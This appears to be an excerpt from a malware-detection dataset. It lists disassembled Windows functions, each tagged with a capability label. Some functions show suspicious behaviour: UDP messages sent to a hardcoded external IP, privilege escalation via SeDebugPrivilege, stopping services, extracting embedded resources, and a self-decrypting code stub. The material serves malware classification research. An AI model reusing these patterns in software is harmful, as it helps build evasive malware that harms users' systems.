joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406e00
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x443068]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x4485bc
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x4485bc
mov dword [0x4485b8], 0x10000000
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
mov dword [0x4483b0], 0
mov dword [0x4483b4], 0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push 0x4920
push 0
push 0x443a84
mov dword [0x4483a8], eax
mov dword [0x4483ac], 0xffffff
mov byte [0x448604], 1
call fcn.0040e750
add esp, 0xc
cmp byte [0x448604], 1
jne 0x40703a
push edi
push 0xff
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.0040e750
lea eax, [ebp - 0x10c]
push eax
call fcn.004166ad
lea eax, [ebp - 0x10c]
push eax
call fcn.004169d9
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push 0x43ee64
mov edx, dword [eax + 0xc]
add dword [eax + 0x14], 0x76c
mov dword [0x4485f8], edx
mov ecx, dword [eax + 0x10]
inc ecx
mov dword [0x4485fc], ecx
mov eax, dword [eax + 0x14]
push eax
push ecx
push edx
mov dword [0x448600], eax
mov dword [0x4485f4], eax
lea eax, [ebp - 0x104]
push str.Log_02d._02d._04d__s.log
push eax
mov dword [0x4485ec], edx
mov dword [0x4485f0], ecx
call edi
add esp, 0x2c
push 0
push 0x43ee90
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x104]
push 0x43ef44
push eax
call fcn.00416aad
add esp, 8
test eax, eax
je 0x406f9e
push esi
push eax
call fcn.00416b3b
add esp, 4
mov esi, 2
nop dword [eax + eax]
push 0xff
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.0040e750
push esi
push 0x43ee64
push dword [0x4485f4]
lea eax, [ebp - 0x104]
push dword [0x4485f0]
push dword [0x4485ec]
push str.Log_02d._02d._04d__s_start__d.log
push eax
call edi
lea eax, [ebp - 0x104]
push 0x43ef44
push eax
call fcn.00416aad
add esp, 0x30
test eax, eax
je 0x406f9d
push eax
call fcn.00416b3b
add esp, 4
inc esi
jmp 0x406f40
pop esi
push 0xff
push 0
push 0x4484b7
call fcn.0040e750
add esp, 0xc
lea ecx, [ebp - 0x104]
lea edx, [ecx + 1]
pop edi
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406fc0
sub ecx, edx
lea eax, [ecx - 4]
push eax
lea eax, [ebp - 0x104]
push eax
push 0x4484b7
call fcn.0040dc50
add esp, 0xc
xor ecx, ecx
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x104]
lea ecx, [ecx + 1]
mov byte [ecx + 0x4483b7], al
test al, al
jne 0x406ff0
cmp dword [0x4483b4], 0
jne 0x40703a
push 0x43eeb8
push 0x4483b8
call fcn.00416aad
add esp, 8
mov dword [0x4483b4], eax
test eax, eax
jne 0x40703a
push str.Log_file_create_error.
push 0x443a80
call fcn.004073a0
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c303
mov esp, ebp
pop ebp
ret 8
Function at 0x4088d0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov edi, ecx
mov eax, dword [edi + 0x70]
test eax, eax
je 0x4088f6
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi + 0x70]
call ebx
mov dword [edi + 0x70], 0
mov eax, dword [edi + 0x6c]
test eax, eax
je 0x408907
push eax
call ebx
mov dword [edi + 0x6c], 0
push esi
lea ecx, [edi + 0x38]
call fcn.00407950
lea esi, [edi + 0x14]
mov ebx, 8
mov eax, dword [esi]
test eax, eax
je 0x408935
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0
add esi, 4
sub ebx, 1
jne 0x408918
mov eax, dword [edi + 0x10]
pop esi
test eax, eax
je 0x408961
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
mov dword [edi + 0x10], 0
jmp 0x408967
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [edi + 8]
test eax, eax
je 0x408978
push eax
call ebx
mov dword [edi + 8], 0
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
je 0x40898e
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi + 4], 0xffffffff
pop edi
pop ebx
ret
Function at 0x408ba0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x448698
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test edi, edi
js 0x408d25
cmp edi, 0x2710
jge 0x408d25
imul ecx, edi, 0x34
mov dword [ebp - 4], ecx
mov eax, dword [ecx + 0x44bcd4]
test eax, eax
js 0x408d25
cmp eax, 0x2710
jge 0x408d25
cmp dword [ecx + 0x44bcd8], 0
je 0x408d25
cmp dword [ecx + 0x44bcec], 0xffffffff
je 0x408d25
mov eax, dword [ebp + 0x10]
cmp eax, 0x800
jle 0x408c2c
push eax
push edi
push str._SocketManager__Max_msg_size__Type:_1__Index:__d__Size:__d_
push 0xff
push 0x443a80
call fcn.004075c0
add esp, 0x14
jmp 0x408d25
mov ebx, dword [ecx + 0x44bcf4]
cmp dword [ebx + 0x20], 0
jle 0x408c9b
mov edx, dword [ebx + 0x1028]
lea ecx, [edx + eax]
cmp ecx, 0x800
jle 0x408c67
push ecx
push edi
push str._SocketManager__Max_msg_size__Type:_2__Index:__d__Size:__d_
push 0xff
push 0x443a80
call fcn.004075c0
add esp, 0x14
jmp 0x408d1a
push eax
push dword [ebp + 0xc]
lea eax, [ebx + 0x828]
add eax, edx
push eax
call fcn.0040dc50
mov ecx, dword [ebp + 0x10]
add esp, 0xc
add dword [ebx + 0x1028], ecx
push 0x448698
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push eax
push dword [ebp + 0xc]
lea esi, [ebx + 0x24]
push esi
call fcn.0040dc50
mov ecx, dword [ebp + 0x10]
lea eax, [ebx + 0x14]
add esp, 0xc
mov dword [eax], ecx
mov dword [ebx + 0x20], ecx
lea ecx, [ebp + 8]
mov dword [ebx + 0x18], esi
mov dword [ebx + 0x1c], 1
push 0
push ebx
push 0
push ecx
push 1
push eax
mov eax, dword [ebp - 4]
mov dword [ebx + 0x824], 0
mov dword [ebp + 8], 0
push dword [eax + 0x44bcec]
call dword [sym.imp.WS2_32.dll_WSASend]
cmp eax, 0xffffffff
jne 0x408c85
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x3e5
je 0x408c85
call esi
push eax
push str._SocketManager__WSASend___failed_with_error:__d
push 0xff
push 0x443a80
call fcn.004075c0
add esp, 0x10
push edi
mov ecx, 0x448620
call fcn.00408d40
push 0x448698
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x409a60
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0x18]
mov dword [esi], vtable.CSocketManagerUdp.0
test eax, eax
je 0x409a8c
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x18], 0
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x409aa2
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
test byte [ebp + 8], 1
je 0x409ab6
push 0x2024
push esi
call fcn.0040c5ae
add esp, 8
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x409ac0
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x18]
test eax, eax
je 0x409ae3
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x18], 0
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x409af9
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
pop esi
ret
Function at 0x409b00
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], edi
mov edx, dword [edi + 0x101c]
cmp edx, 3
jl 0x409ca4
lea eax, [edi + 0x1c]
xor ebx, ebx
mov dword [ebp - 4], eax
mov cl, byte [ebx + eax]
lea esi, [ebx + eax]
cmp cl, 0xc1
jne 0x409b3b
movzx edi, byte [ebx + eax + 1]
mov al, byte [ebx + eax + 2]
jmp 0x409b5a
cmp cl, 0xc2
jne 0x409cde
movzx edi, byte [ebx + eax + 1]
movzx eax, byte [ebx + eax + 2]
shl edi, 8
or edi, eax
mov eax, dword [ebp - 8]
mov al, byte [ebx + eax + 0x1f]
cmp edi, 3
jb 0x409cad
cmp edi, 0x1000
ja 0x409cad
cmp edi, edx
jg 0x409c84
movzx eax, al
sub eax, 1
je 0x409bc6
sub eax, 1
jne 0x409c65
cmp byte [0x44860c], al
jne 0x409ba7
push str._ServerList__JoinServer_online
push 0x8000
push 0x443a80
call fcn.004075c0
add esp, 0xc
mov byte [0x44860c], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x448610], eax
mov eax, dword [esi + 4]
mov dword [0x448614], eax
jmp 0x409c65
movzx edx, word [esi + 4]
mov esi, dword [0x448618]
mov eax, esi
mov ecx, dword [eax + 4]
cmp byte [ecx + 0xd], 0
jne 0x409bfd
nop dword [eax + eax]
cmp dword [ecx + 0x10], edx
jge 0x409bea
mov ecx, dword [ecx + 8]
jmp 0x409bee
mov eax, ecx
mov ecx, dword [ecx]
cmp byte [ecx + 0xd], 0
je 0x409be0
cmp eax, esi
je 0x409bfd
cmp edx, dword [eax + 0x10]
jge 0x409bff
mov eax, esi
cmp eax, esi
je 0x409c65
lea esi, [eax + 0x14]
test esi, esi
je 0x409c65
cmp byte [esi + 0x35], 0
jne 0x409c2a
movzx eax, word [esi]
push eax
lea eax, [esi + 2]
push eax
push str._ServerList__GameServer_online___s____d_
push 0x443a80
call fcn.00407410
add esp, 0x10
mov byte [esi + 0x35], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 4]
mov dword [esi + 0x38], eax
mov al, byte [ebx + ecx + 6]
mov byte [esi + 0x3c], al
movzx eax, word [ebx + ecx + 8]
mov word [esi + 0x3e], ax
movzx eax, word [ebx + ecx + 0xa]
mov word [esi + 0x40], ax
movzx eax, word [ebx + ecx + 0xc]
mov word [esi + 0x42], ax
movzx eax, word [ebx + ecx + 0xe]
mov word [esi + 0x44], ax
mov eax, dword [ebp - 8]
add ebx, edi
mov edx, dword [eax + 0x101c]
sub edx, edi
mov dword [eax + 0x101c], edx
test edx, edx
jle 0x409ca4
mov eax, dword [ebp - 4]
jmp 0x409b25
test ebx, ebx
jle 0x409ca4
test edx, edx
jle 0x409ca4
mov eax, 0x1000
sub eax, ebx
cmp edx, eax
jg 0x409ca4
push edx
push esi
push dword [ebp - 4]
call fcn.0040e1d0
add esp, 0xc
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, al
push eax
push edi
movzx eax, cl
push eax
push str._SocketManagerUdp__Protocol_size_error__Header:__x__Size:__d__Head:__x_
push 0xff
push 0x443a80
call fcn.004075c0
push 0x1000
push 0
push dword [ebp - 4]
call fcn.0040e750
add esp, 0x24
jmp 0x409d08
movzx eax, cl
push eax
push str._SocketManagerUdp__Protocol_header_error__Header:__x_
push 0xff
push 0x443a80
call fcn.004075c0
push 0x1000
push 0
push dword [ebp - 4]
call fcn.0040e750
add esp, 0x1c
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov dword [eax + 0x101c], 0
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x409dc0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x443068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
jmp 0x409de8
lea eax, [ebp - 0x104]
push pe_nt_image_headers32
push 0
push eax
call fcn.0040e750
mov edx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x104]
call fcn.00409e50
add esp, 0x10
lea eax, [ebp - 0x104]
push 0x10
push str.Error
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x409e38
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4222aa
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00422120
Function at 0x401070
Capabilities:
Create udp socket
Initialize winsock library
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
mov eax, dword [0x41f004]
xor eax, esp
mov dword [esp + 0x1a0], eax
push esi
lea eax, [esp + 0x10]
mov esi, ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x10], eax
test eax, eax
jne 0x4010d5
push str.sockfd_error
call fcn.00405307
add esp, 4
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x1a0]
xor ecx, esp
call fcn.00402251
mov esp, ebp
pop ebp
ret 0xc
mov eax, 2
push 0
mov word [esi], ax
call dword [sym.imp.WS2_32.dll_htons]
push str.0.0.0.0
mov word [esi + 2], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x10
push esi
push dword [esi + 0x10]
mov dword [esi + 4], eax
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
jns 0x40112c
push str.socketfd_bind_error_____n
call fcn.00405307
add esp, 4
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x1a0]
xor ecx, esp
call fcn.00402251
mov esp, ebp
pop ebp
ret 0xc
cmp dword [esi + 4], 0xffffffff
jne 0x40117a
push 4
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0xffffffff
push eax
push 0x20
push 0xffff
push dword [esi + 0x10]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x40117a
push str.sock_set_broadcast_failed_n
call fcn.00405307
add esp, 4
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x1a0]
xor ecx, esp
call fcn.00402251
mov esp, ebp
pop ebp
ret 0xc
push 4
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0xa00000
push eax
push 0x1002
push 0xffff
push dword [esi + 0x10]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x4011ad
push str.SetSendBuffer_failed_n
call fcn.00405307
add esp, 4
push 0
push 0
lea eax, [esp + 0x14]
mov byte [esp + 0xf], 0
push eax
push 0
push 0
push 1
lea eax, [esp + 0x1f]
mov dword [esp + 0x24], 0
push eax
push 0x9800000c
push dword [esi + 0x10]
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov ecx, dword [esp + 0x1a4]
xor eax, eax
pop esi
xor ecx, esp
call fcn.00402251
mov esp, ebp
pop ebp
ret 0xc

Function at 0x401200
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x2c
mov eax, dword [0x41f004]
xor eax, esp
mov dword [esp + 0x28], eax
mov eax, dword [ebp + 8]
lea edx, [esp + 8]
push esi
mov esi, dword [ebp + 0xc]
xorps xmm0, xmm0
push edx
lea edx, [esp + 0x14]
movaps xmmword [esp + 0x14], xmm0
push edx
push 0
push dword [esi]
mov dword [esp + 0x1c], 0x10
push eax
push dword [ecx + 0x10]
call dword [sym.imp.WS2_32.dll_recvfrom]
test eax, eax
jg 0x401270
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.recvfrom_error__d_n
call fcn.00401040
add esp, 8
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.00402251
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [esp + 0x2c]
mov dword [esi], eax
xor eax, eax
pop esi
xor ecx, esp
call fcn.00402251
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401370
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push str.119.23.222.92
push 0x64
lea eax, [esi + 0x18]
push eax
call fcn.004074c0
add esp, 0xc
mov dword [esi + 0x7c], 0xd905
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0x14
mov dword [esi + 0x14], eax
call fcn.00402262
xorps xmm0, xmm0
mov dword [ebp - 4], eax
sub esp, 8
mov ecx, eax
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov dword [esi + 0xc], eax
call fcn.00401070
test eax, eax
je 0x4013d3
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 8
push 0
push 0
push esi
push 0x401570
push 0
push 0
call fcn.0040742d
add esp, 0x18
mov dword [esi + 0x10], eax
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x401400
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x41f004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
movq xmm0, qword [str.GetLastIni]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x38], eax
mov ax, word [0x41cb44]
push edi
mov word [ebp - 8], ax
mov edi, ecx
mov al, byte [0x41cb46]
push ebx
mov byte [ebp - 6], al
mov eax, 5
mov dword [ebp - 0x28], edi
mov byte [ebp - 0x22], 0
movq qword [ebp - 0x10], xmm0
mov byte [ebp - 0x21], 0
push esi
dec eax
lea esi, [ebp - 0x10]
lea edx, [edi + 0x18]
mov dword [ebp - 0x30], eax
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x401460
mov eax, dword [edi + 0xc]
sub esi, ecx
mov ebx, dword [edi + 0x7c]
push edx
mov dword [ebp - 0x2c], eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov edi, eax
xorps xmm0, xmm0
mov eax, 2
movups xmmword [ebp - 0x20], xmm0
push ebx
mov word [ebp - 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
mov word [ebp - 0x1e], ax
lea eax, [ebp - 0x20]
push eax
push 0
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x1c], edi
push eax
mov eax, dword [ebp - 0x2c]
push dword [eax + 0x10]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, esi
jne 0x4014dd
mov edi, dword [ebp - 0x28]
push 0x3e8
push dword [edi + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4014d7
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x4014f4
jmp 0x401450
mov byte [ebp - 0x21], 1
jmp 0x4014f4
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.sendto_error__d_n
call fcn.00401040
mov edi, dword [ebp - 0x28]
add esp, 8
mov esi, dword [edi + 0xc]
push 2
push dword [esi + 0x10]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [esi + 0x10]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0xffffffffffffffff
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp byte [ebp - 0x21], 0
pop esi
pop ebx
je 0x40155b
push dword [edi + 8]
call fcn.004022a3
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [edi + 8]
mov dword [edx], eax
push dword [edi + 8]
push dword [edi]
push dword [ecx]
call fcn.00416670
add esp, 0x10
mov al, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402251
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x22]
xor ecx, ebp
pop edi
call fcn.00402251
mov esp, ebp
pop ebp
ret 8
Function at 0x4015b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push 0xa
push ecx
push 0
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x41cb48
call fcn.00401040
add esp, 8
test edi, edi
jne 0x4015e2
pop edi
xor eax, eax
pop ebx
pop ebp
ret
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test esi, esi
je 0x40160c
push edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40160c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x401613
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
mov eax, dword [ebp + 8]
push esi
mov dword [eax], esi
call fcn.004022a3
push esi
push edi
push eax
mov dword [ebx], eax
call fcn.00416670
add esp, 0x10
mov eax, 1
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401640
Capabilities:
Check for time delay via gettickcount
Enumerate services
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x41d530
push 0x403ca0
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x41f004]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, edx
mov eax, ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x64], eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x5c], 0x7530
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 1
push esi
mov edi, dword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
call edi
test eax, eax
jne 0x4017da
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x40179e
push dword [ebp - 0x48]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x54], eax
test eax, eax
je 0x40179e
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x48]
push ecx
push dword [ebp - 0x48]
push eax
push 1
push esi
call edi
test eax, eax
je 0x40178b
xor edi, edi
mov dword [ebp - 0x50], edi
cmp edi, dword [ebp - 0x20]
jae 0x4017ce
lea eax, [edi + edi*8]
mov ecx, dword [ebp - 0x54]
movups xmm1, xmmword [ecx + eax*4]
movups xmm0, xmmword [ecx + eax*4 + 0x10]
movups xmmword [ebp - 0x78], xmm0
mov eax, dword [ecx + eax*4 + 0x20]
mov dword [ebp - 0x68], eax
push 0x24
movd eax, xmm1
push eax
push dword [ebp - 0x4c]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
mov dword [ebp - 0x60], esi
test esi, esi
je 0x40178b
mov dword [ebp - 4], 1
lea eax, [ebp - 0x44]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40178b
cmp dword [ebp - 0x40], 1
je 0x4017a2
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x48]
push eax
push 0x24
lea eax, [ebp - 0x44]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40178b
cmp dword [ebp - 0x40], 1
je 0x4017a2
call ebx
sub eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x5c]
jbe 0x401755
push 0xfffffffffffffffe
lea eax, [ebp - 0x10]
push eax
push 0x41f004
call fcn.00404bb0
add esp, 0xc
xor eax, eax
jmp 0x4017df
mov dword [ebp - 4], 0
call fcn.004017c6
inc edi
jmp 0x4016fe
mov dword [ebp - 4], 0xfffffffe
call fcn.004017fb
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00402251
mov esp, ebp
pop ebp
ret
Function at 0x401a50
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
mov eax, dword [0x41f004]
xor eax, esp
mov dword [esp + 0x14], eax
lea eax, [esp]
mov dword [esp + 4], 1
push eax
xorps xmm0, xmm0
mov dword [esp + 0x14], 0
push 0x28
movq qword [esp + 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401afe
lea eax, [esp + 8]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x401af5
push 0
push 0
push 0
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 1
push eax
push 0
push dword [esp + 0x14]
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x401af5
push dword [esp]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.00402251
mov esp, ebp
pop ebp
ret
push dword [esp]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x14]
mov al, 1
xor ecx, esp
call fcn.00402251
mov esp, ebp
pop ebp
ret
Function at 0x40e7cb
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040e48b

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx